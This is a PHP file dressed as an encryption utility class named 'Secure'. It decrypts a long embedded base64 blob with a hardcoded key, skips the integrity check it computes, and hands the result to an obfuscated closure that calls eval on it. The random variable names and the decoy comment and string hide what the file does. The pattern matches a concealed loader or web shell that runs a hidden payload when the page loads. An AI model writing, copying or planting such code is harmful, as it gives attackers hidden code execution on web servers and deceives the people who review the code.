<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('EpzTij3lC63wAbI3gETlrOgztUVFUu1o');
$str = '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';
$decrypted = $secure->decrypt($str);
$XooLh9Hi3p = function($AVJfF18Vk7s){
/*CtLmxb149*/eVaL($AVJfF18Vk7s);
$AtEdpO3bQ0M = "lcvH2tQd54OHJ6kC0BMYO5dCa8iI8p4e";
return $AtEdpO3bQ0M;
};
$XooLh9Hi3p($decrypted);
|